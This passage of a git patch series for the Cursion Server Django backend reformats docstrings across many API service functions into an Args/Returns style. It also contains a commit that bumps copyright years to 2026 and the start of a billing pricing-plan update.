+    Returns: dict or HTTP Response object
     """
 
     # get request data
@@ -1152,11 +1148,11 @@ def get_pages(request: object=None) -> object:
     Get one or more `Pages` from either 
     "page_id" or "site_id"
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -1218,12 +1214,12 @@ def get_page(request: object=None, id: str=None) -> object:
     """
     Get single `Page` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -1258,12 +1254,12 @@ def delete_page(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Page` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
     
     # get user and account info
@@ -1316,11 +1312,11 @@ def delete_many_pages(request: object=None) -> object:
     Deletes one or more `Pages` associated
     with the passed "request.ids" 
 
-    Expects: {
+    Args:
         'request' : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -1392,11 +1388,11 @@ def get_pages_zapier(request: object=None) -> object:
     """ 
     Get all `Pages` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -1466,11 +1462,10 @@ def create_scan(request: object=None, **kwargs) -> object:
     Create one or more `Scans` depanding on 
     `Page` or `Site` scope
 
-    Expects: {
+    Args:
         'request': object, 
-    }
-
-    Returns -> dict or HTTP Response object
+    
+    Returns: dict or HTTP Response object
     """
 
     # check location
@@ -1648,11 +1643,11 @@ def create_many_scans(request: object=None) -> object:
     Bulk creates `Scans` for each requested `Page`.
     Either scoped for many `Pages` or many `Sites`.
 
-    Expects: {
+    Args:
         'request' : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # check location
@@ -1754,11 +1749,11 @@ def get_scans(request: object=None) -> object:
     """ 
     Get one or more `Scans`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -1818,12 +1813,12 @@ def get_scan(request: object=None, id: str=None) -> object:
     """
     Get single `Scan` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -1858,12 +1853,12 @@ def get_scan_lean(request: object=None, id: str=None) -> object:
     """ 
     Get a single `Scan` and only return scores & timestamps
 
-    Expects: {
+    Args:
         'request' : object, 
         'id'      : str
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -1914,14 +1909,14 @@ def delete_scan(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Scan` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'account' : object,
         'user'    : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -1974,11 +1969,11 @@ def delete_many_scans(request: object=None) -> object:
     Deletes one or more `Scans` associated
     with the passed "request.ids" 
 
-    Expects: {
+    Args:
         'request' : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -2050,11 +2045,11 @@ def get_scans_zapier(request: object=None) -> object:
     """ 
     Get all `Scans` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -2145,12 +2140,11 @@ def create_test(request: object=None, **kwargs) -> object:
     Create one or more `Tests` depanding on 
     `Page` or `Site` scope
 
-    Expects: {
+    Args:
         'request': object, 
         'delay': bool
-    }
-
-    Returns -> dict or HTTP Response object
+    
+    Returns: dict or HTTP Response object
     """
 
     # check location
@@ -2405,11 +2399,11 @@ def create_many_tests(request: object=None) -> object:
     Bulk creates `Tests` for each requested `Page`.
     Either scoped for many `Pages` or many `Sites`.
 
-    Expects: {
+    Args:
         'request' : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # check location
@@ -2514,11 +2508,11 @@ def get_tests(request: object=None) -> object:
     """ 
     Get one or more `Tests`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -2578,12 +2572,12 @@ def get_test(request: object=None, id: str=None) -> object:
     """
     Get single `Test` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -2618,12 +2612,12 @@ def get_test_lean(request: object=None, id: str=None) -> object:
     """ 
     Get a single `Test` and only return scores & timestamps
 
-    Expects: {
+    Args:
         'request' : object, 
         'id'      : str
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -2681,13 +2675,13 @@ def delete_test(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Test` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user'    : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -2740,11 +2734,11 @@ def delete_many_tests(request: object=None) -> object:
     Deletes one or more `Tests` associated
     with the passed "request.ids" 
 
-    Expects: {
+    Args:
         'request' : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -2816,11 +2810,11 @@ def get_tests_zapier(request: object=None) -> object:
     """ 
     Get all `Tests` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -2920,12 +2914,12 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
     """ 
     Creates or Updates an `Issue` 
 
-    Expects: {
+    Args:
         'request': object
         'kwargs': dict
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -3032,12 +3026,12 @@ def generate_issue(request: object=None, **kwargs) -> object:
     Generates a new `Issue` based on the data
     passed in the request or kwargs
 
-    Expects: {
+    Args:
         'request': object
         'kwargs': dict
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -3154,12 +3148,12 @@ def update_many_issues(request: object=None) -> object:
     """ 
     Updates many `Issues` passed in a list
 
-    Expects: {
+    Args:
         'ids'     : list
         'updates' : dict
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     #  get request data
@@ -3219,11 +3213,11 @@ def get_issues(request: object=None) -> object:
     """ 
     Get one or more `Issues`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -3308,12 +3302,12 @@ def get_issue(request: object=None, id: str=None) -> object:
     """
     Get single `Issue` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -3349,11 +3343,11 @@ def search_issues(request: object=None) -> object:
     Searches for matching `Issues` to the passed 
     "query"
 
-    Expects: {
+    Args:
         'request': obejct
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -3404,12 +3398,12 @@ def delete_issue(request: object=None, id: str=None, user: object=None) -> objec
     """ 
     Deletes the `Issue` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -3451,11 +3445,11 @@ def delete_many_issues(request: object=None) -> object:
     """ 
     Deletes many `Issues` passed in a list
 
-    Expects: {
+    Args:
         'ids': list
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     #  get request data
@@ -3509,11 +3503,11 @@ def get_issues_zapier(request: object=None) -> object:
     """ 
     Get all `Issues` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -3597,11 +3591,11 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
     """ 
     Creates or Updates a `Schedule` 
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -3892,12 +3886,12 @@ def update_many_schedules(request: object=None) -> object:
     """ 
     Updates many `Schedules` passed in a list
 
-    Expects: {
+    Args:
         'ids'     : list
         'updates' : dict
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     #  get request data
@@ -3956,7 +3950,7 @@ def run_schedule(request: object=None) -> object:
     and executes the task manually without interupting
     the perodic_task's normal cycle.
 
-    Expects: {
+    Args:
         requests: object
     } 
 
@@ -4034,11 +4028,11 @@ def get_schedules(request: object=None) -> object:
     """ 
     Get one or more `Schedules`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -4113,12 +4107,12 @@ def get_schedule(request: object=None, id: str=None) -> object:
     """
     Get single `Schedule` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -4153,13 +4147,13 @@ def delete_schedule(request: object=None, id: str=None, user: object=None) -> ob
     """ 
     Deletes the `Schedule` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user'    : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -4208,11 +4202,11 @@ def delete_many_schedules(request: object=None) -> object:
     """ 
     Deletes many `Schedules` passed in a list
 
-    Expects: {
+    Args:
         'ids': list
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     #  get request data
@@ -4272,13 +4266,12 @@ def delete_tasks_and_schedules(
     associated with the passed "resource_id", "scope", and 
     "account"
 
-    Expects: {
+    Args:
         'resource_id'   : str, 
         'scope'         : str
         'account'       : object
-    }
-
-    Returns -> None
+    
+    Returns: None
     """ 
     # get all scopped Schedules
     schedules = Schedule.objects.filter(
@@ -4312,11 +4305,11 @@ def create_or_update_alert(request: object=None) -> object:
     """ 
     Creates or Updates an `Alert` 
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get request data
@@ -4422,11 +4415,11 @@ def get_alerts(request: object=None) -> object:
     """ 
     Get one or more `Alerts`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -4479,12 +4472,12 @@ def get_alert(request: object=None, id: str=None) -> object:
     """
     Get single `Alert` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -4519,12 +4512,12 @@ def delete_alert(request: object=None, id: str=None) -> object:
     """ 
     Deletes the `Alert` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -4566,11 +4559,11 @@ def create_or_update_report(request: object=None) -> object:
     """ 
     Creates or Updates an `Report` 
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -4670,11 +4663,11 @@ def get_reports(request: object=None) -> object:
     """ 
     Get one or more `Reports`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -4742,12 +4735,12 @@ def get_report(request: object=None, id: str=None) -> object:
     """
     Get single `Report` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -4782,12 +4775,12 @@ def delete_report(request: object=None, id: str=None) -> object:
     """ 
     Deletes the `Report` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -4828,11 +4821,11 @@ def export_report(request: object=None) -> object:
     Used to create and send a Cursion.landing 
     `Report` to the passed "email"  
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # getting data from request
@@ -4869,11 +4862,11 @@ def create_or_update_case(request: object=None) -> object:
     """ 
     Creates or Updates a `Case` 
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -4983,15 +4976,13 @@ def save_case_steps(steps: dict, case_id: str) -> dict:
     Helper function that uploads the "steps" data to 
     s3 bucket
 
-    Expects: {
+    Args:
         'steps'   : dict, 
         'case_id' : str
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'num_steps' : int,
         'url'       : str
-    }
     """
 
     # setup boto3 configurations
@@ -5103,11 +5094,11 @@ def get_cases(request: object=None) -> object:
     """ 
     Get one or more `Cases`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -5179,12 +5170,12 @@ def get_case(request: object=None, id: str=None) -> object:
     """
     Get single `Case` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -5220,11 +5211,11 @@ def search_cases(request: object=None) -> object:
     Searches for matching `Cases` to the passed 
     "query"
 
-    Expects: {
+    Args:
         'request': obejct
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -5269,11 +5260,11 @@ def create_auto_cases(request: object=None) -> object:
     Initiates a new `Case` generation task for the `Site` 
     associated with either the passed "site_url" or "site_id" 
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # check location
@@ -5350,11 +5341,10 @@ def copy_case(request: object=None) -> object:
     """ 
     Creates a copy of the passed `Case`
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response obejct
+    Returns: HTTP Response obejct
     """
 
     # get request data
@@ -5414,13 +5404,13 @@ def delete_case(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Case` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user'    : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -5465,11 +5455,11 @@ def delete_many_cases(request: object=None) -> object:
     """ 
     Deletes many `Cases` passed in a list
 
-    Expects: {
+    Args:
         'ids': list
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     #  get request data
@@ -5523,11 +5513,11 @@ def get_cases_zapier(request: object=None) -> object:
     """ 
     Get all `Cases` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -5599,11 +5589,11 @@ def create_caserun(request: object=None) -> object:
     Creates a new `CaseRun` from the passed "case_id" for the 
     passed "site_id"
 
-    Expects: {
+    Args:
         'request': obejct
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # check location
@@ -5704,11 +5694,11 @@ def get_caseruns(request: object=None) -> object:
     """ 
     Get one or more `CaseRun`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get request data
@@ -5775,12 +5765,12 @@ def get_caserun(request: object=None, id: str=None) -> object:
     """
     Get single `CaseRun` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -5815,13 +5805,13 @@ def delete_caserun(request: object=None, id: str=None, user: object=None) -> obj
     """ 
     Deletes the `CaseRun` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user' : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -5866,11 +5856,11 @@ def get_caseruns_zapier(request: object=None) -> object:
     """ 
     Get all `CaseRuns` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -5940,11 +5930,11 @@ def create_or_update_flow(request: object=None) -> object:
     """ 
     Creates or Updates a `Flow` 
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -6011,11 +6001,11 @@ def get_flows(request: object=None) -> object:
     """ 
     Get one or more `Flows`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -6069,12 +6059,12 @@ def get_flow(request: object=None, id: str=None) -> object:
     """
     Get single `Flow` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -6110,11 +6100,11 @@ def search_flows(request: object=None) -> object:
     Searches for matching `Flows` to the passed 
     "query"
 
-    Expects: {
+    Args:
         'request': obejct
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -6154,11 +6144,10 @@ def copy_flow(request: object=None) -> object:
     """ 
     Creates a copy of the passed `Flow`
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response obejct
+    Returns: HTTP Response obejct
     """
 
     # get request data
@@ -6206,13 +6195,13 @@ def delete_flow(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Flow` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user'    : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -6254,11 +6243,11 @@ def delete_many_flows(request: object=None) -> object:
     """ 
     Deletes many `Flows` passed in a list
 
-    Expects: {
+    Args:
         'ids': list
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     #  get request data
@@ -6312,11 +6301,11 @@ def get_flows_zapier(request: object=None) -> object:
     """ 
     Get all `Flows` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -6370,11 +6359,11 @@ def create_flowrun(request: object=None) -> object:
     Creates a new `FlowRun` from the passed 
     "flow_id" & "site_id"
 
-    Expects: {
+    Args:
         'request': obejct
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -6480,11 +6469,11 @@ def get_flowruns(request: object=None) -> object:
     """ 
     Get one or more `FlowRun`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get request data
@@ -6555,12 +6544,12 @@ def get_flowrun(request: object=None, id: str=None) -> object:
     """
     Get single `FlowRun` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -6595,13 +6584,13 @@ def delete_flowrun(request: object=None, id: str=None, user: object=None) -> obj
     """ 
     Deletes the `FlowRun` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'account' : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -6643,11 +6632,11 @@ def get_flowruns_zapier(request: object=None) -> object:
     """ 
     Get all `FlowRuns` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -6715,11 +6704,11 @@ def create_or_update_secret(request: object=None) -> object:
     """ 
     Creates or Updates a `Secret`
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get request data
@@ -6781,11 +6770,11 @@ def get_secrets(request: object=None) -> object:
     """ 
     Get one or more `Secrets`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get request data
@@ -6839,12 +6828,12 @@ def get_secret(request: object=None, id: str=None) -> object:
     """
     Get single `Secret` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -6880,11 +6869,11 @@ def get_secrets_all(request: object=None) -> object:
     Get all `Secrets` associated with the 
     equesting user's `Account`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -6925,13 +6914,13 @@ def delete_secret(request: object=None, id: str=None, user: object=None) -> obje
     """ 
     Deletes the `Secret` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user'    : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -6978,11 +6967,11 @@ def get_processes(request: object=None) -> object:
     """ 
     Get one or more `Processes`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get request data
@@ -7057,12 +7046,12 @@ def get_process(request: object=None, id: str=None) -> object:
     """
     Get single `Process` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -7097,12 +7086,12 @@ def delete_process(request: object=None, id: str=None) -> object:
     """
     Get single `Process` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -7153,11 +7142,11 @@ def get_logs(request: object=None) -> object:
     """ 
     Get one or more `CaseRun`.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -7218,12 +7207,12 @@ def get_log(request: object=None, id: str=None) -> object:
     """
     Get single `Log` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -7424,7 +7413,8 @@ def get_devices(request: object=None) -> object:
     
     Expects: None
 
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # format data
@@ -7449,11 +7439,11 @@ def get_home_metrics(request: object=None) -> object:
     Builds metrics for account "Home" view 
     on Cursion.client
 
-    Expects: {
+    Args:
         'request' : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user, account, sites, & issues
@@ -7517,11 +7507,11 @@ def get_site_metrics(request: object=None) -> object:
     Builds metrics for account "Site" view 
     on Cursion.client
 
-    Expects: {
+    Args:
         'request' : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user, account, site, & pages
@@ -7615,11 +7605,11 @@ def get_page_metrics(request: object=None) -> object:
     Builds `Scan` and `Test` metrics for 
     "Page" view on Cursion.client
 
-    Expects: {
+    Args:
         'request' : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user, account, member 
@@ -7688,11 +7678,11 @@ def get_celery_metrics(request: object=None) -> object:
     Used to provision and terminate new pods in 
     k8s cluster on PROD
 
-    Expects: {
+    Args:
         'request' : object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     cached = cache.get("celery_metrics")
@@ -7751,11 +7741,11 @@ def migrate_site(request: object=None) -> object:
     """
     Initiate a `Site` migration task in background
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data

From 94f486626b5a8f426e360961545f238608ea79c1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 Jan 2026 11:33:41 -0700
Subject: [PATCH 1078/1099] update: date for new year

---
 LICENSE.md          | 2 +-
 README.md           | 2 +-
 legal/COMMERCIAL.md | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/LICENSE.md b/LICENSE.md
index f34f15af..fa89ec11 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -1,4 +1,4 @@
-Copyright (C) 2025 Grey Labs, LLC
+Copyright (C) 2026 Grey Labs, LLC
 
 
 > This software **(Cursion Server)**, is offered with a dual-license depending on your use case.
diff --git a/README.md b/README.md
index 568f5b25..9d3f41a4 100644
--- a/README.md
+++ b/README.md
@@ -92,5 +92,5 @@ Special thanks to [@ashrafsamhouri](https://github.com/ashrafsamhouri) with [@ac
 <br>
 <br>
 
-Copyright © 2025 Grey Labs, LLC 
+Copyright © 2026 Grey Labs, LLC 
 
diff --git a/legal/COMMERCIAL.md b/legal/COMMERCIAL.md
index d6d13c34..ddecc473 100644
--- a/legal/COMMERCIAL.md
+++ b/legal/COMMERCIAL.md
@@ -1,4 +1,4 @@
-Copyright (C) 2025 Cursion
+Copyright (C) 2026 Cursion
 
 
 Cursion Commercial Software License Terms

From bb090db5d4756dc0a35d3812d2ee78e6ce2411ff Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 Jan 2026 11:33:51 -0700
Subject: [PATCH 1079/1099] update: new pricing plans

---
 app/api/v1/billing/services.py | 188 +++++++++++++++++----------------
 1 file changed, 95 insertions(+), 93 deletions(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 9638c5a4..e9465d12 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -1,8 +1,6 @@
 from rest_framework.response import Response
 from rest_framework import status
-from django.contrib.auth.models import User
-from django.core import serializers
-from datetime import date, datetime, timedelta
+from datetime import datetime, timedelta
 from ...models import (
     Account, Member, Card, Site, Issue, Schedule, Flow,
     get_meta_default, get_usage_default, Coupon
@@ -28,7 +26,7 @@ def stripe_setup(request: object) -> object:
     Price, & Subscription associated with the passed 
     "user" and `Account`
 
-    Expects: {
+    Args:
         'name'                  : <str> 'free', 'cloud', 'selfhost', 'enterprise' (REQUIRED)
         'interval'              : <str> 'month' or 'year' (REQUIRED)
         'price_amount'          : <int> 1000 == $10 (REQUIRED)
@@ -45,45 +43,44 @@ def stripe_setup(request: object) -> object:
         'nodes_allowed'         : <int> total # of `nodes` per `Flow` per month (OPTIONAL)
         'conditions_allowed'    : <int> total # of `conditons` per `Flow` (OPTIONAL)
         'meta'                  : <dict> any extra data for the account (OPTIONAL)
-    }
     
-    Returns -> data: {
+    
+    Returns:
         'subscription_id' : Stripe subscription id,
         'client_secret' : Stripe subscription client_secret,
-    }
     """ 
 
     # init Stripe client
     stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
-    name = request.data.get('name')
-    interval = request.data.get('interval', 'month') # month or year
-    price_amount = int(request.data.get('price_amount'))
-    task_amount = int(request.data.get('task_amount'))
-    sites_allowed = int(request.data.get('sites_allowed'))
-    pages_allowed = int(request.data.get('pages_allowed'))
-    schedules_allowed = int(request.data.get('schedules_allowed'))
-    retention_days = int(request.data.get('retention_days'))
-    scans_allowed = int(request.data.get('scans_allowed'))
-    tests_allowed = int(request.data.get('tests_allowed'))
-    caseruns_allowed = int(request.data.get('caseruns_allowed'))
-    flowruns_allowed = int(request.data.get('flowruns_allowed'))
-    nodes_allowed = int(request.data.get('nodes_allowed'))
-    conditions_allowed = int(request.data.get('conditions_allowed'))
-    meta = request.data.get('meta', get_meta_default())
+    name                = request.data.get('name')
+    interval            = request.data.get('interval', 'month') # month or year
+    price_amount        = int(request.data.get('price_amount'))
+    task_amount         = int(request.data.get('task_amount'))
+    sites_allowed       = int(request.data.get('sites_allowed'))
+    pages_allowed       = int(request.data.get('pages_allowed'))
